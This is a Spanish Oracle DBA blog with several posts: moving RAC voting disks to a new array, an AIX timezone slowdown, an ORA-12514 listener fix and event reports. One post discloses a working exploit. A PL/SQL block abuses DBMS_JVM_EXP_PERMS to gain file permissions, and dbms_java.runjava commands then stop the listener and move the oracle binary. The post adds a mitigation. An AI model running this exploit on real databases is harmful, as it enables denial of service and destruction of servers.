viernes, 26 de octubre de 2012

¿Cómo mover ocr y vdisk a nuevo disk array?

No hace mucho, uno de mis clientes inició el proceso de migración de su disk storage system, desde EMC CX4 hacia EMC VNX. Ellos tienen sus bases de datos operando con Oracle RAC 11.2.0.3, por lo que siguieron el procedimiento de agregar LUNs del nuevo EMC VNX en los diskgroups de datos, para luego retirar los LUNs del antiguo EMC CX4, aprovechando el rebalanceo automático que hace ASM al agregarle y removerle discos. Hasta aquí todo bien, pero quedaba el trabajo sobre el diskgroup que contiene el ocr, voting disks y spfile de ASM, llamado en este caso OCR, para el cual el procedimiento no es tan simple como agregar y retirar discos. A continuación les mostraré en detalle el procedimiento que seguí para concluir con este último paso en la migración de disk storage system para este diskgroup, cumpliendo el requerimiento expreso del cliente: no suspender el servicio.

Empezaré por mostrarles el escenario sobre el cual se trabajó:


El diskgroup OCR fue creado con redundancia normal, por lo cual es requisito obligatorio emplear 3 discos. El objetivo es que sus contenidos sean ahora trasladados a 3 discos en el nuevo disk array, pero no se puede hacer directamente como en el caso de un diskgroup de datos, básicamente debido a los voting disk.

El ocr y el spfile de ASM son archivos que se distribuyen entre los discos que constituyen el diskgroup sobre el cual residen, pero Oracle crea un voting disk idéntico en cada disco del diskgroup. Así, al agregar mas discos al diskgroup, el ocr y el spfile son candidatos a ser redistribuidos entre todos los discos, pero los voting disk no, se quedan en sus discos originales, por lo que requieren de un tratamiento especial.

El Note 428681.1, OCR / Vote disk Maintenance Operations: (ADD/REMOVE/REPLACE/MOVE), tiene el detalle de lo que sebe hacer en diversos escenarios, de cuya lectura queda claro que no es posible agregar mas voting disks, sino solamente moverlos a otro diskgroup. Por esta razón se solicitó la creación de 3 nuevos LUNs, sobre los cuales se crearía el diskgroup que albergaría temporalmente a los voting disk, de forma que quedara algo así:


Luego que los LUNs estuvieron provisionados y debidamente asignados a todos los nodos del RAC, se procedió a la creación del diskgroup VDISK, mediante el utilitario ASMCA.



Con esto ya estamos listos para el paso inicial: el movimiento de voting disks.

[oracle@rac1]$ crsctl query css votedisk
##  STATE    File Universal Id                File Name Disk group
--  -----    -----------------                --------- ---------
 1. ONLINE   1e56372cc94a4f92bfd9952beef36a5b (/dev/rhdiskpower3) [OCR]
 2. ONLINE   570dd695f7ea4f08bf86d92adc2a2343 (/dev/rhdiskpower1) [OCR]
 3. ONLINE   027f719d79914f72bfc1fdfb3098209b (/dev/rhdiskpower2) [OCR]
Located 3 voting disk(s).

[oracle@rac1]$ crsctl replace votedisk +VDISK
Successful addition of voting disk 42cd3a1355714febbf8b8be58da5d277.
Successful addition of voting disk 95b0b904a7844f6bbf35881a7fd545f6.
Successful addition of voting disk 189d6f4cba754fc6bf1d8f94fd70fe89.
Successful deletion of voting disk 1e56372cc94a4f92bfd9952beef36a5b.
Successful deletion of voting disk 570dd695f7ea4f08bf86d92adc2a2343.
Successful deletion of voting disk 027f719d79914f72bfc1fdfb3098209b.
Successfully replaced voting disk group with +VDISK.
CRS-4266: Voting file(s) successfully replaced

[oracle@rac1]$ crsctl query css votedisk
##  STATE    File Universal Id                File Name Disk group
--  -----    -----------------                --------- ---------
 1. ONLINE   42cd3a1355714febbf8b8be58da5d277 (/dev/rhdiskpower57) [VDISK]
 2. ONLINE   95b0b904a7844f6bbf35881a7fd545f6 (/dev/rhdiskpower130) [VDISK]
 3. ONLINE   189d6f4cba754fc6bf1d8f94fd70fe89 (/dev/rhdiskpower90) [VDISK]
Located 3 voting disk(s).

Ayudados con el utilitario crsctl, hemos trasladado los voting disks desde el diskgroup OCR hacia el diskgroup VDISK, siendo el escenario actual:


Ahora que el diskgroup OCR contiene solamente el ocr y el spfile de ASM, ya es posible recurrir al rebalanceo de ASM, por lo que procedemos a agregarle los LUNs provisionados en el disk array nuevo, empleando nuevamente el utilitario ASMCA.



Luego de agregar los 3 LUNs del nuevo disk array, la configuración es:


Ahora ya es posible retirar los discos del disk array antiguo, siempre apoyados con ASMCA.



Con los LUNs antiguos ya removidos, la nueva situación es:


Ahora que los contenidos del diskgroup OCR residen exclusivamente sobre LUNs del nuevo array disk, es hora de retornar los voting disks a su diskgroup original.

[oracle@rac1]$ crsctl replace votedisk +OCR
Successful addition of voting disk 5385fdac3eb44f96bf206fc7cce7fe48.
Successful addition of voting disk a4a5d6afbd064fa2bffe306654b0f3ac.
Successful addition of voting disk 2cbc13a0ff444fd7bf79670b75fe42c4.
Successful deletion of voting disk 42cd3a1355714febbf8b8be58da5d277.
Successful deletion of voting disk 95b0b904a7844f6bbf35881a7fd545f6.
Successful deletion of voting disk 189d6f4cba754fc6bf1d8f94fd70fe89.
Successfully replaced voting disk group with +OCR.
CRS-4266: Voting file(s) successfully replaced

[oracle@rac1]$ crsctl query css votedisk
##  STATE    File Universal Id                File Name Disk group
--  -----    -----------------                --------- ---------
 1. ONLINE   5385fdac3eb44f96bf206fc7cce7fe48 (/dev/rhdiskpower1002) [OCR]
 2. ONLINE   a4a5d6afbd064fa2bffe306654b0f3ac (/dev/rhdiskpower1001) [OCR]
 3. ONLINE   2cbc13a0ff444fd7bf79670b75fe42c4 (/dev/rhdiskpower1000) [OCR]
Located 3 voting disk(s).

Finalmente hemos llegado al siguiente escenario:


En este momento ya tenemos tanto el ocr, el spfile y los voting disks en el diskgroup OCR, usando únicamente LUNs del nuevo disk storage system EMC VNX, por lo que es posible eliminar el diskgroup VDISK, ya no necesitamos más de él.



Con esto podemos dar por concluida la tarea de movimiento de los contenidos del diskgroup OCR (ocr, voting disks, spfile de ASM), hacia el nuevo disk array EMC VNX, sin suspensión alguna del servicio y en muy pocos minutos. Desde luego, el procedimiento fue previamente probado en un ambiente virtualizado, pues una cosa es lo que dice la documentación y otra la que pasa en la vida real, por lo que es altamente recomendable que Uds. tambien lo hagan, recuerden que cada instalacion tiene su particularidades, así que mejor no correr riesgos innecesarios. Será hasta la próxima amigos!

Post Relacionados:
Siga leyendo >>

¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues déjame tus comentarios o envíame un email y para que NO te pierdas ningún Post, suscríbete por email ahora mismo!

jueves, 27 de septiembre de 2012

OOW 2012, allá voy!

Cada año se realiza el Oracle Open World, al cual somos cordialmente invitados todos los Oracle ACE. Pero nunca faltaba algún contratiempo (léase proyecto en marcha con plazos ajustados) que me obligaba a postergar mi asistencia, pero al iniciar este año tomé la decisión de asistir sí o sí.

Desde Junio hice la compra de los respectivos boletos de avión, que -gracias a los KM acumulados- me salieron gratis! Y ya que entraba en la onda del low budget, opté por reservar habitación en el Park Hotel de San Francisco, por solo US$450 la semana!, una ganga considerando que en San Francisco no es nada barato el alojamiento, y más aún cuando 50,000 personas llegan de golpe casi el mismo día y pugnan por tener un alojamiento cercano al Moscone Center, lugar donde se desarrolla el OOW, y el Park Plaza está a unas pocas cuadras, tan cerca que puedo llegar incluso a pie.

Resuelto el problema de cómo llegar y dónde alojarme, venía la tarea de escoger entre los cientos de presentaciones disponibles, tarea nada fácil desde luego. Luego de revisar y revisar, terminé seleccionando lo que me pareció más cercano a lo que vengo desarrollando regularmente: Tuning de Base de Datos y Aplicaciones, y soluciones de Alta Disponibilidad y Contingencia.

My Schedule

Aparte de las presentaciones técnicas, Larry Ellison siempre busca robarse el show, y este año no sería la excepción: hay fuertes rumores de que nos daria la sorpresa con el lanzamiento de Oracle 12c Database, nada mal, cruzo los dedos para que así sea.

Y como no todo es Oracle, aprovecharé a tomar una semana de descanso, para conocer las atracciones principales de San Francisco (Alcatráz, Golden Gate) y probablemente San Diego (Zoo, SeaWorld), y por qué no, para deleitarme con un buen cebiche al estilo peruano en La Mar .

Es todo por el momento amigos, prometo mantenerlos al tanto de las novedades en el OOW (siganme en Twitter @enriqueorbegozo) y a mi retorno retomar los Posts técnicos, que buen tiempo he abandonado, hasta la próxima!
Siga leyendo >>

¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues déjame tus comentarios o envíame un email y para que NO te pierdas ningún Post, suscríbete por email ahora mismo!

domingo, 1 de abril de 2012

Las paradojas del tiempo

En esta ocasión les voy a contar sobre un problema muy singular y la forma en que fue resuelto, estoy seguro que muchos usuarios de AIX 6.1, y quizás de otras plataformas, deben tener este problema y no lo han notado aún.

La historia se remonta a unos meses atrás, había concluido el upgrade de una base de datos desde Oracle 10.2.0.3 hacia Oracle 11.2.0.2.3, que era la versión más reciente en ese momento, y luego de ello nos percatamos de que los tiempos de respuesta se habían deteriorado, sin explicación alguna.

Como el upgrade incluyó la migración de la base de datos a un nuevo servidor, empezamos a hacer algunas pruebas usando ambos servidores y ambas versiones de Oracle y finalmente logramos reducir el problema al uso de SYSDATE, con los resultados que se muestra a continuación.

DECLARE
  v_dt DATE;
BEGIN
  FOR i IN 1 .. 1000000 LOOP
    SELECT SYSDATE INTO v_dt FROM dual;
  END LOOP;
END;
/

Antiguo servidor
10.2.0.3:
Elapsed: 00:00:32.17

11.2.0.2.3:
Elapsed: 00:00:41.09

Nuevo servidor
11.2.0.2.3:
Elapsed: 00:00:56.89

Noten como en el antiguo computador, Oracle 11.2 toma 28% más tiempo en procesar que Oracle 10.2, y en el nuevo computador la situación es más grave aún pues toma 78% más tiempo, esto considerando que el nuevo computador es el doble de rápido que el antiguo!

Como el problema era evidente recurrimos a Oracle Support, quienes finalmente nos recomendaron hacer upgrade al reciente Oracle 11.2.0.3, lo que hicimos inicialmente en el antiguo servidor, con el siguiente resultado:

Elapsed: 00:00:32.62

La situación mejoró notablemente y ya se observaban tiempos similares a los que Oracle 10.2.0.3 proporcionaba, así que iniciamos el upgrade del servidor de producción hacia Oracle 11.2.0.3. Grande fue nuestra sorpresa cuando luego de ello encontramos lo siguiente:

Elapsed: 00:00:51.53

La mejora solo fue de 9%, terrible, inexplicable, desalentador. Fue entonces que Oracle sacó su as bajo la manga y nos indicó aplicar el patch para el bug 12596494 GENERALLY HIGHER CPU USAGE IN 11.2.0.2 THAN 10.2.0.4 11.2.0.3.0 IBM AIX on POWER Systems (64-bit), que ya habíamos aplicado en Oracle 11.2.0.2.3 pero que no había sido resuelto aún en 11.2.0.3. Con la esperanza de que finalmente resolveríamos el problema lo aplicamos en el servidor de producción, obteniendo el siguiente resultado:

Elapsed: 00:00:43.43

Aún con el patch aplicado, el tiempo era 34% superior al que Oracle 10.2.0.3 lograba en el antiguo servidor, con procesadores mucho más lentos que el de producción.

Ya se nos habían agotado todas las ideas, pero como bien dicen: cuando está todo más oscuro, es porque está por amanecer, y fue justo en este momento que IBM hizo su aparición: un Ingeniero de IBM de Argentina nos dirigió al APAR IZ86764 PERFORMACE DIFFERENCE WHEN USING OLSON TZ .VS. POSIX TZ:

Problem summary
Doc change noting performance impact when using Olson time zone instead of Posix time zone.

Problem conclusion
There will be new information addeded to the "Miscellaneous tunable parameters" section under "Tunable parameters – Environment variables" in the Performance Management Guide regarding the Olson time zone, basically stating that TZ in AIX 6.1 and later are defaulted to Olson time zone, and may be tuned to POSIX time zone for performance sensitive applications that do not depend on adequately handled changes to time zone rules and daylight saving time.
¡Bingo! Comparando el antiguo y el nuevo servidor encontramos:

[root@old.server]$ oslevel –s
5300-07-00-0000
[root@old.server]$ echo $TZ
EST5 (POSIX)

[root@new.server]$ oslevel –s
6100-06-05-1115
[root@new.server]$ echo $TZ
America/Lima (OLSON)

En efecto, esa era la diferencia entre ambos servidores, el antiguo usaba un TZ del tipo Posix, a diferencia del nuevo, que usaba TZ del tipo Olson, así que de inmediato hicimos el cambio:

/etc/environment
#TZ=America/Lima
TZ=EST5

Y a continuación realizamos la prueba de rigor, con el resultado:
Elapsed: 00:00:17.19

Finalmente logramos que el proceso se ejecutara en menos tiempo, siendo 88% más rápido con respecto a los tiempos observados en el antiguo computador, ¡problema resuelto!

Algún tiempo después he tenido la oportunidad de trabajar con instalaciones similares (AIX 6.1 con Oracle 11.2), en las que venían trabajando con TZ del tipo Olson y sin aplicar patch alguno, por lo que me temo que para la gran mayoría de usuarios de esta combinación, el problema no ha sido notado aún y por consiguiente no tienen el desempeño que podrian tener.

Hasta acá llegamos por ahora, espero que con lo indicado logren obtener mejoras en sus instalaciones, quizás esto ocurre también en otras plataformas, de ser así por favor compartan su experiencia por este medio, les estaremos muy agradecidos, hasta la próxima.
Siga leyendo >>

¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues déjame tus comentarios o envíame un email y para que NO te pierdas ningún Post, suscríbete por email ahora mismo!

viernes, 2 de abril de 2010

Registro dinámico de servicios y ora-12514

En algunas ocasiones he sido consultado sobre problemas de conectividad que se presentan sin previo aviso y vienen acompañados del mensaje de error ORA-12514: TNS:listener does not currently know of service requested in connect descriptor. Hay quienes indican que extrañamente la comunicación era perfecta poco antes y que ya han revisado los archivos de configuración como el listener.ora y el tnsnames.ora y que todo se ve bien pero aún así no logran establecer nuevas conexiones. Un detalle adicional es que todos estos casos tienen el común denominador de que el puerto en uso no es el usual 1521 sino algún otro. Considerando este escenario pre-determinado, síganme para ver lo simple que puede ser resolver este problema.

Conceptos previos

El background process PMON se encarga de registrar dinámicamente con el listener los servicios disponibles en una base de datos, lo cual se conoce como registro dinámico de servicios. Ahora bien, hay que tener en cuenta que por defecto las bases de datos Oracle registran sus servicios con el listener asumiendo que éste está atendiendo por el puerto 1521, si se usa un puerto distinto a éste se requiere de medidas adicionales para permitir que PMON sepa dónde registrar los servicios de la base de datos o no lo logrará hacer y caeremos en el error ORA-12514.

Solución

1. No es inusual que se configure un puerto distinto al 1521, hay varias razones para ello pero principalmente se hace como medida de seguridad adicional para prevenir ataques que aprovechan justamente que la gran mayoría deja su listener configurado con el puerto por defecto 1521, de allí que cambiarlo sea altamente recomendado.

Veamos primeramente un listener modificado (listener.ora):

LISTENER =
  (DESCRIPTION_LIST =
    (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = caliope)(PORT = 15402))
    )
  )

2. Esto se debe complementar con la configuración del parámetro local_listener, para lo cual tenemos dos posibilidades, una primera en la que colocamos los datos explícitamente:

SQL> alter system set local_listener="(address=(protocol=TCP)(host=caliope)(port=15402))";

O una segunda, en que se usa una cadena de conexión que se puede resolver mediante la consulta al archivo tnsnames.ora.

SQL> alter system set local_listener=listener_bd;

El alias listener_bd debe existir localmente, como se observa a continuación (tnsnames.ora):

LISTENER_BD =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = caliope)(PORT = 15402))
  )

3. Con esto solo nos resta verificar que la conectividad está efectivamente operativa, para lo cual consideramos la siguiente cadena de conexión (tnsnames.ora):

BD =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = caliope)(PORT = 15402))
    (CONNECT_DATA =
      (SERVER = DEDICATED)
      (SERVICE_NAME = bd)
    )
  )

Misma que probamos con SQL*Plus

[oracle@caliope ~]$ sqlplus system/oracle@bd

SQL*Plus: Release 11.1.0.7.0 - Production on Thu Apr 1 15:19:17 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SYSTEM@bd >

¡Todo funcionó a la perfección!

Conclusión

¿Qué les pareció? ¿No está complicado verdad?, pero les sorprendería saber cuántos no siguen estas consideraciones y luego de crear listeneres adicionales, observan que se interrumpen las nuevas conexiones luego de detener el listener que usa el puerto 1521 y se pregunta el por qué, si se supone que esas bases de datos usan otros puertos en otros listeners; bueno, ahora ya lo saben, así que: ¡a corregir se ha dicho!

Siga leyendo >>

¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues déjame tus comentarios o envíame un email y para que NO te pierdas ningún Post, suscríbete por email ahora mismo!

domingo, 7 de febrero de 2010

Peligro inminente, ¡Dios nos coja confesados!

Para los que aún no están enterados, se ha hecho pública una vulnerabilidad muy seria para quienes están trabajando con Oracle 10g o superior. Esta vulnerabilidad permite que un usuario con el mínimo privilegio de crear una sesión pueda tener acceso irrestricto a los archivos del servidor en el cual se está ejecutando la base de datos Oracle. Si quieren saber a qué nos estamos enfrentando a continuación les muestro lo fácil que es ganar estos privilegios, y lo dañino que puede resultar en manos inescrupulosas.

Volviéndose todopoderoso

1. Primero preparemos el ambiente, creamos un usuario y le dejamos crear sesiones.

[oracle@rhel ~]$ sqlplus / as sysdba

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production


SYS@orcl > create user test identified by test;

User created.

SYS@orcl > grant create session to test;

Grant succeeded.

2. Ahora es cuestión de ejecutar el siguiente código.

[oracle@rhel ~]$ sqlplus test/test

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production

TEST@orcl > DECLARE
  2    dummy DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3    CURSOR c_dummy IS
  4      SELECT 'GRANT', USER(), 'SYS', 'java.io.FilePermission',
  5             '<<ALL FILES>>', 'execute', 'ENABLED'
  6        FROM dual;
  7  BEGIN
  8    OPEN c_dummy;
  9    FETCH c_dummy BULK COLLECT INTO dummy;
 10    CLOSE c_dummy;
 11    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS( dummy );
 12  END;
 13  /

PL/SQL procedure successfully completed.

TEST@orcl > exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production

3. Gracias al package DBMS_JVM_EXP_PERMS, el cual tiene permisos de ejecución para PUBLIC, se ha logrado obtener acceso irrestricto a los archivos, tanto de lectura, escritura como de ejecución. Nuevamente nuestros amigos de Java metiéndonos en problemas, jajaja, pero ya bromas aparte, empecemos por un ataque relativamente benigno como detener el listener, lo que sería una forma relativamente simple de lo que es conocido como un ataque del tipo DoS (Denial of Service).

[oracle@rhel ~]$ ps -ef | grep tns | grep -v grep
oracle    7505     1  0 17:45 ?        00:00:00 /u01/app/oracle/11.1.0/db_1/bin/tnslsnr LISTENER -inherit

[oracle@rhel ~]$ sqlplus test/test

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:50:29 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production


TEST@orcl > select dbms_java.runjava('oracle/aurora/util/Wrapper /u01/app/oracle/11.1.0/db_1/bin/lsnrctl stop') from dual;

DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPER/U01/APP/ORACLE/11.1.0/DB_1/BIN/LSNRCTLSTOP')
----------------------------------------------------------------------------------------------------


TEST@orcl > exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production

[oracle@rhel ~]$ ps -ef | grep tns | grep -v grep
[oracle@rhel ~]$

Con esta acción se está impidiendo la creación de nuevas sesiones al no haber listener que las cree, lo que en la práctica significa que la base de datos ha pasado a estar parcialmente operativa.

4. Desde luego se pueden hacer cosas perores, veamos ahora una acción mucho más destructiva, moveremos de sitio al ejecutable oracle pero bien podría ser su eliminación o la de todo el directorio en el que está instalado Oracle, los datafiles, etc., no hay límites al daño que se puede causar!!!

[oracle@rhel ~]$ ls -la /u01/app/oracle/11.1.0/db_1/bin/oracle
-rwsr-s--x 1 oracle dba 149249171 Feb  2 17:43 /u01/app/oracle/11.1.0/db_1/bin/oracle
[oracle@rhel ~]$ sqlplus test/test

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:58:45 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production

TEST@orcl > select dbms_java.runjava('oracle/aurora/util/Wrapper /bin/mv /u01/app/oracle/11.1.0/db_1/bin/oracle /tmp/.') from dual;

DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPER/BIN/MV/U01/APP/ORACLE/11.1.0/DB_1/BIN/ORACLE/TMP/.')
----------------------------------------------------------------------------------------------------


TEST@orcl > exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production

[oracle@rhel ~]$ ls -la /u01/app/oracle/11.1.0/db_1/bin/oracle
ls: /u01/app/oracle/11.1.0/db_1/bin/oracle: No such file or directory

[oracle@rhel ~]$ ls -la /tmp/oracle
-rwsr-s--x 1 oracle dba 149249171 Feb  2 17:43 /tmp/oracle

Si nos quedaban dudas, a estas alturas creo que ya estamos convencidos que estamos ante un problema bastante serio. ¿Qué hacer? Por el momento no hay mayor alternativa que retirar los privilegios públicos de ejecución del paquete DBMS_JVM_EXP_PERMS, lo que impediría obtener amplios privilegios al invocarlo.

[oracle@rhel ~]$ sqlplus / as sysdba

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production

SYS@orcl > revoke execute on DBMS_JVM_EXP_PERMS from public;

Revoke succeeded.

SYS@orcl > connect test/test
Connected.
TEST@orcl > DECLARE
  2    dummy DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3    CURSOR c_dummy IS
  4      SELECT 'GRANT', USER(), 'SYS', 'java.io.FilePermission',
  5             '<<ALL FILES>>', 'execute', 'ENABLED'
  6        FROM dual;
  7  BEGIN
  8    OPEN c_dummy;
  9    FETCH c_dummy BULK COLLECT INTO dummy;
 10    CLOSE c_dummy;
 11    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS( dummy );
 12  END;
 13  /

ERROR at line 2:
ORA-06550: line 2, column 13:
PLS-00201: identifier 'DBMS_JVM_EXP_PERMS' must be declared
ORA-06550: line 2, column 13:
PL/SQL: Item ignored
ORA-06550: line 9, column 39:
PLS-00320: the declaration of the type of this expression is incomplete or malformed
ORA-06550: line 9, column 7:
PL/SQL: SQL Statement ignored
ORA-06550: line 11, column 43:
PLS-00320: the declaration of the type of this expression is incomplete or malformed
ORA-06550: line 11, column 6:
PL/SQL: Statement ignored

Retirar el privilegio de PUBLIC es una alternativa radical que amerita la realización de pruebas extensas de funcionalidad por cuanto es posible que al retirar este privilegio algo por allí deje de funcionar, es un riesgo que siempre se corre pero no nos quedan muchas alternativas que digamos, mientras tanto habrá que esperar a que Oracle libere algún patch específico a la brevedad, porque esperar al próximo CPU, en Abril de 2010, dejaría bastante tiempo disponible para eventuales ataques, así que a tomar medidas preventivas se ha dicho!!!

Update
(Feb 10,2010)

Mi buen amigo Ronald Vargas nos comenta en una entrada reciente que: "...Los problemas de seguridad a los que se hacen referencia en el documento de Enrique, para poder ser explotadas, el usuario debe tener acceso a nivel de sistema operativo a la herramienta SQL*Plus en el servidor, ya que el ejecutar un comando, requiere de privilegios administrativos, a los cuáles no puedes accesar, sino estas logeado localmente, ya sea en la consola del servidor o a través de un utilitario o emulador de ambiente gráfico de Windows ó Linux, o un utilitario de acceso de terminal remota...". Ronald concluye su Post con: "...Así que como les dije al principio, "que no panda el cúnico", no hay mucho de que alarmarnos..."

Sobre el particular, Ronald estaría tomando como referencia lo indicado en The H Security, pero al menos en mis pruebas personales no ha sido necesario estar conectado directamente en el servidor de base de datos para explotar este problema, logré reproducirlo conectado remotamente desde una estación con Windows Vista usando un cliente Oracle 11.1.0.7 y un usuario que solamente tiene el privilegio create session:

Linux:
[oracle@rhel ~]$ ls -l /home/oracle
-rw-r--r-- 1 oracle oinstall 45 Feb  9 09:26 /home/oracle/afiedt.buf

Windows
C:\Windows\system32>sqlplus test/test@orcl

SQL*Plus: Release 11.1.0.7.0 - Production on Wed Feb 10 10:50:56 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - 64bit Production

TEST@orcl > select dbms_java.runjava('oracle/aurora/util/Wrapper /bin/mv /home/oracle/afiedt.buf /home/oracle/afiedt.BUF') from dual;

DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPP
-------------------------------------------


TEST@orcl > exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - 64bit Production

Linux:
[oracle@rhel ~]$ ls -l /home/oracle
-rw-r--r-- 1 oracle oinstall 45 Feb  9 09:26 /home/oracle/afiedt.BUF

Asi que el peligro sigue siendo real y su explotación bastante simple, tomen sus precauciones!

Siga leyendo >>

¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues déjame tus comentarios o envíame un email y para que NO te pierdas ningún Post, suscríbete por email ahora mismo!

jueves, 19 de noviembre de 2009

Presentación en el PEOUG Day 2009

El tiempo sí que vuela!, han pasado ya varias semanas sin actualizar el Blog producto de que las consultorías me vienen teniendo ocupado gran parte del día y lo que me quedaba libre lo he estado dedicando a la preparación de mi presentación para el PEOUG Day 2009 que finalmente se llevó a cabo ayer.

Mi participación en este evento fue gracias a la invitación de Miguel Palacios, presidente del PEOUG y flamante Oracle ACE. Aún cuando tenía el tiempo bastante ajustado decidí aceptar el reto, y es que si bien la presentación duraba una hora -lo cual puede parecer poco tiempo para el público oyente- para el expositor usualmente representa una gran cantidad de horas a invertir en la elaboración del material visual a presentar, lo bueno es que este es el costo inicial y luego de esto el material queda y se puede utilizar para futuras presentaciones.

El día del evento salí de casa más temprano de lo habitual, pero igual me topé con un tráfico brutal, cortesía de las chicas del Escuadrón Fénix, que saben tanto del control del tráfico como yo de Informix, pero pese a que hicieron su mejor esfuerzo (mejor suerte para la próxima, chicas ) alcancé a llegar justo cuando Miguel arrancaba con las palabras de bienvenida y acto seguido Tom Kyte presentó su Keynote "The Best Way". La sala estaba totalmente llena, cientos de personas escuchaban con gran atención las palabras de este personaje casi mítico en el mundo Oracle. Una hora después Tom había concluido su impecable presentación entre los aplausos de los asistentes, entre ellos los míos desde luego, que me cuento entre sus más fervientes seguidores . La moraleja de su presentación es que no hay tal cosa como "la mejor forma de ....", pues al final todo depende de lo que estas pretendiendo hacer.



Faltaban un par de horas para mi presentación así que aproveché a conversar con viejos amigos, y con algunos ex-alumnos de los cursos de Oracle University, para luego encaminarme a la sala que me habían asignado. Entré y encontré ya iniciada la presentación de Juan Camilo Ruiz titulada "Become Fusion Developer with no Java", y escuchándolo terminé de convencerme que Java no es lo mío, las cosas se han simplificado mucho pero aun no es tan fácil como Oracle Forms por ejemplo. Conforme se acercaba mi hora, aun mantenía la oculta esperanza de que concluida la charla de Juan Camilo la sala quedara vacía y mi público se quedaría reducido a un par de gatos (4 si contamos al camarógrafo y a la azafata), después de todo a esa misma hora Francisco Muñoz presentaba "Oracle Database Advanced Security Options", así que cuando Juan Camilo se retiró y pasé a ocupar su lugar en el estrado, grande fue mi sorpresa al ver que la gente no solo no se iba sino que seguían entrando y hasta quedó un buen grupo de gente de pie, al fondo de la sala. Así que recurrí al infalible Plan B: el viejo truco de quitarme las gafas y así aprovechar que, gracias a mi astigmatismo, solamente vería un público borroso y por tanto inofensivo .

Sin mayor preámbulo procedí a iniciar mi presentación titulada Malas prácticas de programación, impacto y solución (mismo que pueden descargar desde ya). Debo reconocer que el público asistente fue muy receptivo y conforme iba mostrando algunos ejemplos de la audacia y osadía a la que pueden llegar algunos de nuestros amigos programadores, los oyentes se mantuvieron atentos, percatándose y celebrando el sarcasmo que de cuando en cuando introducía, según yo de forma solapada. Ya hacia el final, la azafata me hacía señas para que terminara mi charla, pero lo cierto es que mi presentación no se inició a la hora pactada, por motivos ajenos a mi voluntad, y lo justo era que me concedieran la hora completa por lo que, aun cuando considero que la democracia no es perfecta, me aproveché de ella y consulté a los asistentes si deseaban retirarse, afortunadamente la gente votó mayoritariamente porque la sesión siga y como vox populi, vox dei, seguimos adelante y pocos minutos después todo había concluido satisfactoriamente. En suma, creo que ambos, el auditorio y yo, salimos más contentos que cuando entramos, lo cual es ya un logro nada despreciable, salvo mejor opinión.



Luego de almorzar algo a la volada, continué con el evento y asistí a la presentación de Miguel Palacios titulada "Implementando Oracle Streams", para luego regresar nuevamente con Tom Kyte y "All about metadata". Conforme escuchaba a Tom desarrollar el tema, aumentaba mi duda de si no se estaría refiriendo a un cliente mío, Acme Corporation, que estaba pasando por los mismos problemas: no uso de integridad referencial, no uso del constraint not null, almacenamiento de fechas como number y no como date, etc., menos mal ya están revirtiendo esta forma de trabajo, pues tal como demostrara Tom con algunos ejemplos muy representativos, carecer de constraints limita seriamente al optimizador y por tanto no solo la integridad de los datos está en juego sino también el desempeño de las aplicaciones.

A continuación asistí a la presentación de Francisco Muñoz, "Logging or nologging" y finalmente al Keynote "Top 10, no 11, new features of Oracle database 11gR2" a cargo de Tom Kyte. Luego, el cierre del evento, un brindis, algunos sorteos y como quien no quiere la cosa le pedí a Tom Kyte que autografiara una copia (no era pirata desde luego) de su libro "Expert Oracle", mismo que estoy ahora subastando en eBay, ¿qué? ¿de verdad creyeron eso?, como lo voy a subastar pues, lo tengo bien guardadito en mi mesa de noche, justo encima de la Biblia, jajaja.



